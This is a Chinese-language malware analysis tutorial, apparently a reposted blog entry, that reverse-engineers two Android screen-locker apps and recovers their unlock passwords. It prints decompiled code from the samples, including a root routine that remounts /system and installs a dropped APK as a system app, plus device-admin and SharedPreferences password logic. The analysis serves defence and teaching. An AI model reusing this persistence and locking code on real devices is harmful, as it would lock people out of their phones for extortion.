013 Android锁机病毒分析
文章目錄
- 免流服務器-鎖機病毒分析
- 秒搶紅包-鎖機病毒分析
免流服務器-鎖機病毒分析
首先來分析這個免流服務器的鎖機病毒,文件信息如下
文件: 免流服務器.apk 大小: 799835 bytes 修改時間: 2016年3月 16日, 23:26:10 MD5: 2EFCA46F34A565C2EF4052B89B6B364B SHA1: 5493A958A592BB0B19C43ACB2C1F52C898885207 CRC32: 7F89A927安裝以后點擊安裝核心按鈕
這里在請求root權限,點擊允許
按照提示重啟模擬器
重啟完成之后手機被鎖屏。將apk拖到Android Killer進行分析
首先查看工程信息,這里可以查看到當前apk的四大組件的注冊信息以及用戶權限。
然后查看當前工程的清單文件,入口類為MainActivity
直接查看onCreate函數的JAVA代碼,從頭開始分析。
這里創建了一個文件對象stk3.apk,然后往路徑中寫入文件數據。
寫入的文件數據來自于getAssets方法中的stk3.apk文件。
getAssets方法的含義就是獲取當前apk的assets文件夾,當前apk的assets有下面幾個自定義資源文件
上面的代碼寫入的數據就是來源于stk3.apk
Android Killer的反編譯效果并不好,這里可以換成jadx進行對比分析。到這里onCreate方法就分析完了,該app啟動時,會自動將資源中的stk3.apk寫入到SD卡中。
接著查看資源中的layout布局文件
安裝核心這個按鈕,有一個對應的onClick方法,接著來分析這個onClick方法
az這個方法是將stk3.apk拷貝到系統,點進去看CopyAppToSystem函數
private void copyAppToSystem(String str) {try {Process root = getRoot();if (root != null) {DataOutputStream dataOutputStream = new DataOutputStream(root.getOutputStream());dataOutputStream.writeBytes("mount -o remount, rw /system/\n");dataOutputStream.writeBytes(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("cp ").append(str).toString()).append(" /system/app/").toString()).append("\n").toString());dataOutputStream.writeBytes(new StringBuffer().append(new StringBuffer().append(this.CHMOD_CMD).append(str.substring(str.lastIndexOf("/"))).toString()).append("\n").toString());dataOutputStream.writeBytes("exit\n");root.waitFor();dataOutputStream.close();Toast.makeText(this, "開始安裝核心文件....", 0).show();Toast.makeText(this, "正在進行最后處理....", 0).show();Toast.makeText(this, "核心文件安裝完成!重啟手機后生效!", 0).show();}} catch (Exception e) {e.printStackTrace();Toast.makeText(this, "核心文件安裝錯誤!請確認手機是否已經root!", 0).show();}}這個方法做了以下幾件事
接著來分析stk3.apk
查看工程信息,確定入口類
再查看清單文件,清單文件中有開機自啟動的權限以及一個廣播接收者,也就是說開機之后會自動執行廣播接收者的回調函數
再來查看入口類的代碼
onCreate方法中啟動了一個名為llxfc的服務
在onStartCommand方法里,創建了一個覆蓋桌面的窗口,并且設置了42個按鈕,這里只要找到了解鎖按鈕對應的響應事件就能夠找到密碼
而解鎖按鈕必然要獲取輸入的內容進行比較
這里直接搜索equals就能找到響應函數
@Overridepublic void onClick(View paramAnonymousView){if ((llxfc.access$L1000000(llxfc.this).getText().toString().equals("T")) && (llxfc.access$L1000001(llxfc.this).getText().toString().equals("F")) && (llxfc.access$L1000002(llxfc.this).getText().toString().equals("B")) && (llxfc.access$L1000003(llxfc.this).getText().toString().equals("4"))) {llxfc.access$L1000005(llxfc.this).removeView(llxfc.access$L1000006(llxfc.this));}}});這里很容易就能看到密碼是TFB4
輸入TFB4,點擊解鎖
即可完成解密
秒搶紅包-鎖機病毒分析
樣本信息如下:
文件: 鎖機-秒搶紅包.apk 大小: 251271 bytes 修改時間: 2016年4月 15日, 23:37:26 MD5: 033AE1BA78676130E99ACC8D9F853124 SHA1: B43F731C59FF37602CB9F971F893965EF19C9DEE CRC32: AAC480FC運行樣本,提示是否激活設備管理器
點擊激活后,返回主界面,模擬器被鎖屏。這個樣本是個雙重密碼,安裝完成后有運行時解鎖密碼,重啟之后有屏幕鎖屏密碼
將文件用Android Killer打開,查看工程信息,
接著查看onCreate方法,里面調用了activiteDevice方法,跟進去查看代碼
這個函數創建了一個Intent,獲取一個Class,接著啟動了這個設備管理器。接著來查看MyAdmin這個類
分析onEnabled函數,這個是設備管理器的激活方法,很明顯就能看出密碼就是8985,但是這個8985并不是當前這一層的解鎖密碼。
接著又啟動了一個服務,就是說com.h.s這個類是一個服務類,剩下的代碼都在服務里面。首先查看服務的onCreate方法
這里創建了一個pass和passw對象,和一個des算法對象
this.pass = ((Math.random() * 100000000)); this.passw = new Long(this.pass + '?'); this.des = new DU("flower");接著獲取Flowers這個xml文件
this.share = getSharedPreferences("Flowers", 0);如果Flowers.xml里面的m等于0的話,就往里面寫入pass這個值
if (this.share.getLong("m", 0) == 0){this.editor.putLong("m", this.pass);this.editor.commit();}往 this.editor寫入passw和加密后的字符串
this.editor.putString("passw", this.des.encrypt(new StringBuffer().append("").append(this.passw).toString()));this.editor.commit();也就是說Flowers.xml里面有兩個數據,一個是m對應的value,一個是passw對應的value。接著我們用adb連接模擬器,去查看這個文件的內容
首先查看當前設備,確認連接成功
接著使用adb shell命令,進入到命令行
切換到data/data/com.h目錄下,里面有一個文件夾shared_prefs
查看Flowers.xml,可以看到m的值和passw的值
回到代碼,m的值就是pass,而passw就是pass加上8985,所以passw的值就等于?65475849?,這個就是第一層的密碼
輸入密碼之后,第一層解鎖完成
再輸入8985,第二層解鎖完成,到這里這個鎖機病毒就分析完成了。
總結
以上是生活随笔為你收集整理的013 Android锁机病毒分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 012 动态调试smali代码
- 下一篇: 014 Android之Cydia与Xp